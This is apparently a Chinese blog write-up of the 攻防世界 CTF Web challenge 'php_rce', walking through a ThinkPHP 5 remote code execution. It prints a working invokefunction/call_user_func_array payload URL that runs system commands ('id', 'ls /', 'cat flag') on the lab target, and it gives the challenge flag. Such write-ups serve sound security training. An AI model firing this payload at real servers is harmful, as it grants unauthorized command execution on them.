首页 > 编程语言 >攻防世界 Web php_rce

攻防世界 Web php_rce

时间:2023-10-19 09:02:01浏览次数:34  
标签:Web 缓存 应用程序 参数 ThinkPHP rce php


打开页面发现使用了ThinkPHP框架

参考https://blog.csdn.net/qq_30889301/article/details/130581008博客进行解题
ThinkPHP是一个基于PHP语言的开源Web应用框架,它提供了一系列的工具和组件,可以帮助开发人员更快速、更高效地构建Web应用程序。ThinkPHP框架具有简单易用、高效稳定、安全可靠等特点,被广泛应用于各种Web应用程序的开发中。

ThinkPHP框架的主要特点包括:
MVC架构:采用经典的MVC(Model-View-Controller)架构,将应用程序的业务逻辑、数据模型和用户界面分离,使得应用程序更易于维护和扩展。
ORM支持:提供了强大的ORM(Object-Relational Mapping)支持,可以将数据库表映射为对象,使得开发人员可以更方便地操作数据库。
缓存支持:提供了多种缓存支持,包括文件缓存、Memcached缓存、Redis缓存等,可以提高应用程序的性能和响应速度。
安全性:提供了多种安全机制,包括输入验证、输出过滤、SQL注入防护、XSS防护等,可以保障应用程序的安全性。
扩展性:提供了丰富的扩展机制,包括插件机制、行为机制、模板引擎扩展等,可以方便地扩展和定制应用程序。
对于thinkphp框架Github上有一个专用的漏洞验证工具:https://github.com/zangcc/Aazhen-v3.1
在目录下运行该工具
java -javaagent:rexha.jar -jar rexha.jar

打开工具后将靶场地址粘进去
全扫一遍后发现有两个漏洞
一个是远程代码执行
还有一个数据库信息泄露

远程代码任意执行一般能拿到不少东西,先使用这个
此工具已经给一个可用的url案例,我们只需要更改就可以了
http://61.147.171.105:60391/index.php?s=%2FIndex%2F%5Cthink%5Capp%2Finvokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=id
//这个url已经过urlencode,为了方便理解,下面一行使用urldecode结果展示
http://61.147.171.105:60391/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
参数解析
这个URL参数是对目标web服务器进行的远程代码执行
ThinkPHP的请求处理器(think)
应用程序控制器(app)
函数调用器(invokefunction)
通过invokefunction指定了要调用的函数名为"calluserfuncarray"。该函数的作用是调用一个用户自定义的函数,并将一个数组作为参数传递给该函数。
在这个URL请求中,该函数的第一个参数是"system",表示要执行的系统命令,
第二个参数是一个数组,其中包含要传递给该命令的参数。在这个例子中,该数组只包含一个参数"id"
下面我们把的第二个数组元素内容作为要执行的命令修改以下就ok了
http://61.147.171.105:60391/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

查询上一级目录将参数改为ls /,在根目录发现flag

通过cat flag命令将内容输出

flag{thinkphp5_rce}

thinkphp的不同版本姿势可参考文章:https://www.cnblogs.com/qiushuo/p/17454519.html

标签:Web,缓存,应用程序,参数,ThinkPHP,rce,php
From: https://www.cnblogs.com/fishjumpriver/p/17773867.html

相关文章

  • PHP 代码示例
    PHP代码示例,我将展示一个购物车系统的基本实现,它包括商品类、购物车类和一些基本的操作方法。<?php//定义商品类classProduct{private$name;private$price;publicfunction__construct($name,$price){$this->name=$name;$this->price=$price;......
  • Linux 环境下(Ubuntu)webbench的安装问题解决与使用
    webbench最多可以模拟3万个并发连接去测试网站的负载能力。并发能力比较高,可以测试https及动态静态页面。适合中小型网站测试承受能力。原理:父进程fork若干个子进程,每个子进程在用户要求时间或默认的时间内对目标web循环发出实际访问请求,父子进程通过管道进行通信,子进程通过......
  • 10.18(随机出题Web页面)
    今天完成了javaweb的出题系统,比较简陋jsp<%@pagecontentType="text/html;charset=UTF-8"language="java"%><!DOCTYPEhtml><html><head><metacharset="UTF-8"><title>添加信息</title>&l......
  • javaweb第10章源码
    javaweb第10章源码下载链接:https://wwpv.lanzoue.com/iDhBE1c5hcxg文件结构CHAPTER10│.classpath│.project│chapter10.iml│├─.idea│encodings.xml│misc.xml│modules.xml│workspace.xml│├─.settings│.jsdtscope......
  • Educational Codeforces Round 150 (Rated for Div. 2) B. Keep it Beautiful
    数组\(a=[a_1,a_2,\cdots,a_n]\)被称为是美丽的,如果可以将\([1,x]\)段移到\([x+1,n]\)段后面,\(x\geq0\),数组可以构成非降序。现在有一个数组\(a\)(一开始为空)和\(q\)个询问,第\(i\)个询问给一个正整数\(x_i\)。需要逐步执行以下操作。若\(x_i\)拼接......
  • vue +asp.net core webapi跨域
              vue代码:  login.vue  <template>  <divclass="login-wrap">      <el-buttontype="primary"style="width:100%;"@click="doSubmit()">提交</el-button>      ......
  • Codeforces Round 884 (Div. 1 + Div. 2) B. Permutations & Primes
    给一个正整数\(n\),你需要构造一个\(n\)的排列\(p_1,p_2,\cdots,p_n\)。对于排列\(p\)的每个子段\([l,r]\),\(mex_{i=l}^{r}a_i\)的结果为质数的次数尽可能多。此处的\(mex\)最小排除值最低为\(1\)而非\(0\)。不难想到,小质数\(2,3\)容易构造。于是有......
  • 基于Java Web的多功能旅游网站的设计与实现-计算机毕业设计源码+LW文档
    摘 要 随着时代的发展,人们对旅游也越来越重视,近些年来我国的旅游产业也发生了翻天覆地的变化,但是很多人在出去旅游的时候不知道去哪里旅游,在预订酒店和机票的时候也没有一个综合性的旅游网站,为了让人们的旅游变的更加的方便,为此我开发了本基于JavaWeb的多功能旅游网站本基于......
  • Go - Testing a Web Application or a Web Service
    Problem: Youwanttodounittestingonawebapplicationorawebservice.Solution: Usethehttptest.NewRecorderfunctiontocreateanhttptest.ResponseRecorderthatcanbeusedtorecordwhat’sbeenwrittentothehttp.ResponseWriter.Thiscanthenb......
  • PHPGGC的使用介绍和安装
    PHPGGC的使用介绍和安装PHPGGC:PHPGGC是一个unserialize()有效负载库,以及从命令行或编程方式生成它们的工具。当您在没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需经历查找小工具并组合它们的繁琐步骤。它可以被视为相当于frohoff的y......